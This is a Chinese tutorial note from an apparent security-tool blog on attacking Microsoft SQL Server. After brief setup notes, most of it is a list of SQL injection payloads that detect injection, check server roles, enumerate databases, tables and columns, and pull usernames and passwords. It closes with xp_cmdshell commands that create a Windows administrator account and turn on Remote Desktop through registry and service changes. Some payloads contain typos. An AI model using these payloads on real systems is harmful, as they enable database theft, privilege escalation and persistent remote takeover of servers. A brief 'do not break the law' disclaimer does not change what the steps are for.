某教程学习笔记(一):08、MSSQL数据库漏洞

你永远不知道,爱你爱到发疯的人,给你发过长篇大论的人,突然安静下来,不再打扰你,他心里经历了怎样的伤痛。。。

一、MSSQL介绍

MSSQL商业,性能好,易用,企业支持好,有很多精度要高的类型,学校、政府、在线办公、游戏、棋牌等部门可能会用。

端口:1433

后缀:.mdf/.ldf

sa权限:数据库操作,文件管理,命令执行,注册表读取等,相当于win系统system

db权限:文件管理,数据库操作等,相当于win系统adminnstrators

public权限:数据库操作,相当于win系统guest

二、SQL SERVER 2005

1、安装成功,输入账号密码登陆
在这里插入图片描述
2、master、model、msdb、tempdb这四个数据库是系统自带数据库
在这里插入图片描述
3、右击数据库,新建数据库,自动生成两个文件
在这里插入图片描述
4、双击展开新建的数据库,右击表,添加表,输入列名和数据类型,保存
在这里插入图片描述
5、右击新建的表,打开表,然后就可以添加我们的数据了
在这里插入图片描述
6、删除数据库,需要先右击要删除的数据库,选择任务,再选择分离,然后再进目录删除数据库

7、添加外来的数据库,先把数据库文件放进目录,然后右击数据数据库,选择附加

8、备份数据库,选择要备份的数据库右击,选择生成脚本,选择为服务器版本编写脚本(修改为自己要用的版本)

9、还原数据库,将导出的脚本里面的内容复制到sql语句,运行,就会和重新生成一个数据库,里面的内容和备份数据库的内容一样。

三、代码调用

<%

cctt = “provier=sqloledb;source=local;uid=sa;pwd=**;database=database1”

Set conn = Server.Createobject(“ADODB.Connection”)

conn.open cctt

%>

provider后面的不用管,照写; source后面的可以是ip地址,这里我用的是本地的;sa是内置的用户,它的密码是你在安装的时候设置的; database后面是你要连接的数据库的名称.

四、判断注入

and 1=1 返回正常

and 1=2 返回错误,说明有注入

and user>0 返回正常,说明是sqlserver注入

and (select count(*)from sysobjects)>0 mssql 返回正常,说明是sqlserver注入

猜数表名

and( select count()from[表名])>0

猜字段

and( select Count(字段名)from[表名])>0

猜字段中记录长度

and(select top1len(字段名)from表名)>0

猜字段的asc值( access)

and( (select top1 asc(mid(字段名,1,1)from表名)>0

猜字段的ascii值(mssql)

and( select top1 unicode(substring(字段名1,1)from表名)>0

测试权限结构( mssql)

and 1=(select IS_SRVROLEMEMBER(‘sysadmin’));-- //判断是否是系统管理员

and 1=(select IS_SRVROLEMEMBERC(‘serveradmin’));–

and 1=(select IS_SRVROLEMEMBERC(‘setupadmin’));–

and 1=(select IS_SRVROLEMEMBERC(‘securityadmin’));–

and 1=(select IS_SRVROLEMEMBER(‘diskadmin’));–

and 1=(select IS_SRVROLEMEMBER(‘bulkadmin’);–

and 1=(select is_srvrolemember(‘db_owner’));–//判断是否是库权限

and 1=(select is_srvrolemember(‘public’));–//判断是否是pubilc权限

and 1=convert(int,db_name())或1=(select db_name())//当前数据库名

and 1=(select @@servername)//本地服务名

and 1=(select HAS_DBACCESS(‘master’))//判断是否有库读取权限

猜版本号

id=1 and 1=(select @@version)

id=@@version

猜数据库名称

id=1 and 1=(select db_name())

id=db_name()

获取所有数据库

id=1 and 1=(select name from master…sysdatabases for xml path)

获取第一个用户数据库

id=1 and 1=(select top 1 name from master…sysdatabases where dbid>4) #数据库是从第五个开始排的

获取下一个数据库

id=1 and 1=(select top 1 name from master…sysdatabases where dbid>4 and name <>‘上面查出来的数据库’)

或者

id=1 and 1=(select top 1 name from master…sysdatabases where dbid>5) #一次类推

获取所有表

id=1 and 1=(select name from sysobjects for xml path)

获取第一张表

id=1 and 1=(select top 1 name from sysobjects where xtype=‘u’)

获取下一张表

id=1 and 1=(select top 1 name from sysobjects where xtype=‘u’ and name <>‘上面查出来的表’)

获取表users第一列列名uname

id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘users’))

获取表users第二列列名upass

id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘users’) and name <> ‘uname’)

依次往后爆破

获取表users第一个用户名

?id=1 and 1=(select top 1 uname from users)

获取密码

?id=1 and 1=(select top 1 upass from users)

五、利用xp_cmdshell添加用户

id=1 ;exec master…xp_cmdshell ‘net user username password /add’

id=1 ;exec master… xp_cmdshell ‘net localgroup administrators username /add’ 添加到管理员组

六、开启3389端口

id=1 ;exec master…xp_cmdshell ‘sc config termservice start=auto’

;exec master…xp_cmdshell ‘net start termservice’

;exec master…xp_cmdshell ‘reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /vfDenyTSConnections /t REG_DWORD/d 0x0/f’

禁止非法,后果自负

欢迎关注公众号:web安全工具库
在这里插入图片描述

发布了114 篇原创文章 · 获赞 5 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/weixin_41489908/article/details/104400736
今日推荐